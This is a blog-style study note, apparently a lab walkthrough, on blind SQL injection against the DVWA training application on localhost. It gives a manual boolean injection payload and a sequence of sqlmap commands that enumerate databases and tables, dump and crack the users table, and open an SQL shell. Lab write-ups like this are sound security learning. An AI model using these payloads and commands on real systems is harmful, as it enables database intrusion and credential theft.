zoukankan      html  css  js  c++  java
  • Web安全测试学习笔记-DVWA-盲注(使用sqlmap)

    之前的sql注入页面(https://www.cnblogs.com/sallyzhang/p/11843291.html),返回了查询结果和错误信息。而下面的页面,返回信息只有存在和不存在两种情况,错误信息页面也被屏蔽了,这种情况下我们能得到的信息很少,且需要自己判断注入是否成功,所以叫盲注(名字很形象啊~)

         

    盲注的注入方法,简单来说就一个字:猜 ...>_<.... 怎么猜呢?用猜数据库名称长度来举个栗子:

    输入:1' and length(database()) = 1 #

    输出:User ID is MISSING from the database

    根据输出,数据库名长度不为1,然后再猜测2,3,4。。。直到猜对为止,然后再来猜数据库名称的第一个字母,第二个字母。。。直到猜到数据库名称

    Hmmm...这样猜来猜去很费时间啊,这种事情是不是可以自动化一下,我都能想到,大神们早就想到了,就是这个工具:sqlmap

    1. sqlmap介绍

    这个工具是开源的,官网和github都可以下载。在使用之前,需要先安装python环境。以下是sqlmap的自我介绍

    2. sqlmap启动测试

    打开命令行工具,进入sqlmap解压后所在的文件夹,我的路径是E:...sqlmap,输入python sqlmap.py,看到如下信息说明sqlmap已经可以正常使用

    3. 用sqlmap获取所有数据库名称

    用F12看了下当前页面,这个页面是需要登录凭证的,所以使用sqlmap时也要带上登录凭证

     输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --dbs

    输出:sqlmap拿到了所有数据库名称

    4. 用sqlmap获取当前数据库名称

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --current-db

    输出:当前数据库名称为dvwa

     5. 用sqlmap获取当前数据库中的所有表名

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa --tables

    输出:表名为guestbook和users

    6. 用sqlmap获取users表中的所有数据

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa -T users  --dump

    输出:拿到表中所有数据, 还把密码给破解了。。。不要太贴心啊~

    Mysql的默认密码加密方式其实就是SHA1,如果你密码不幸忘了,网上有在线解密网站 >_< 

     7. 运行sql语句

    如果还想查看数据库中其他表的数据,sqlmap还支持运行自定义sql语句(只支持查询语句)

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=5dge4nuta0ongp0luebulu4jd6; security=low" --sql-shell

    直接输入sql查询语句:

     

    一点点感悟:

    1. 敏感信息不要用太简单的加密算法,很容易被破解。。。

    2. 用cookie存储登录凭证有风险,或者说会增加风险

    如需转载,请注明出处,这是对他人劳动成果的尊重~

  • 相关阅读:
    汇编--立即数
    java mysql常用函数大全
    java springboot@GeneratedValue 注解
    java list.stream().map().collect(Collectors.toList())
    java 一种树的写法
    怎么查看当前进程?怎么执行退出?怎么查看当前路径?
    垃圾回收的优点和原理,并考虑2种回收机制?
    du 和 df 的定义,以及区别?
    通过什么命令查找执行命令?
    终端是哪个文件夹下的哪个文件?黑洞文件是哪个文件夹下的哪个命令?
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/11850701.html
Copyright © 2011-2022 走看看